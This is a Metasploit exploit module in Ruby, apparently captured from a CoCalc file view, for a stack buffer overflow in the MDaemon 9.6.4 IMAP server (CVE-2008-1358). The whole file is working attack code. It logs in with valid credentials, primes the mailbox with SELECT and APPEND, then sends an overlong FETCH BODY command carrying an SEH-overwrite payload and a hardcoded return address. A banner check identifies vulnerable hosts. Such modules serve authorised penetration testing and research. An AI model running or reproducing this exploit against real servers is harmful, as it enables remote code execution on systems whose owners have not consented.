CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::Imap
10
  include Msf::Exploit::Seh
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'MDaemon 9.6.4 IMAPD FETCH Buffer Overflow',
15
      'Description'    => %q{
16
          This module exploits a stack buffer overflow in the Alt-N MDaemon IMAP Server
17
        version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP
18
        account credentials are required. Credit to Matteo Memelli
19
      },
20
      'Author'         => [ 'Jacopo Cervini', 'aushack' ],
21
      'License'        => MSF_LICENSE,
22
      'References'     =>
23
        [
24
          [ 'CVE', '2008-1358' ],
25
          [ 'OSVDB', '43111' ],
26
          [ 'BID', '28245' ],
27
          [ 'EDB', '5248' ]
28
        ],
29
      'Privileged'     => false,
30
      'DefaultOptions' =>
31
        {
32
          'EXITFUNC' => 'seh',
33
        },
34
      'Payload'        =>
35
        {
36
          'Space'    => 400,
37
          'BadChars' => "\x00\x0a])",
38
        },
39
      'Platform'       => 'win',
40
      'Targets'        =>
41
        [
42
          [ 'MDaemon Version 9.6.4', { 'Ret' => 0x64dc118b } ], # p/p/r HashCash.dll
43
        ],
44
      'DisclosureDate' => '2008-03-13',
45
      'DefaultTarget' => 0))
46
  end
47

48
  def check
49
    connect
50
    disconnect
51

52
    if (banner and banner =~ /IMAP4rev1 MDaemon 9\.6\.4 ready/)
53
      return Exploit::CheckCode::Appears
54
    end
55
    return Exploit::CheckCode::Safe
56
  end
57

58
  def exploit
59
    connect_login
60

61
    req0="0002 SELECT Inbox\r\n"
62

63
    res = raw_send_recv(req0)
64
    if (res and res =~ /0002 OK/)
65
      print_status("SELECT command OK")
66
    end
67

68
    req1="0003 APPEND Inbox {1}\r\n"
69

70
    res = raw_send_recv(req1)
71
    if (res and res =~ /Ready for append literal/)
72
      print_status("APPEND command OK")
73
    end
74

75
    res = raw_send_recv(rand_text_alpha(20) + "\r\n")
76
    if (res and res =~ /APPEND completed/)
77
      print_status("APPEND command finished")
78
    end
79

80
    buf = rand_text_alpha_upper(528, payload_badchars)
81
    buf << generate_seh_payload(target.ret) + rand_text_alpha_upper(35, payload_badchars)
82

83
    sploit = "A654 FETCH 2:4 (FLAGS BODY[" + buf + "(DATE FROM)])\r\n"
84

85
    print_status("Sending payload")
86

87
    sock.put(sploit)
88

89
    handler
90
    disconnect
91
  end
92
end
93

94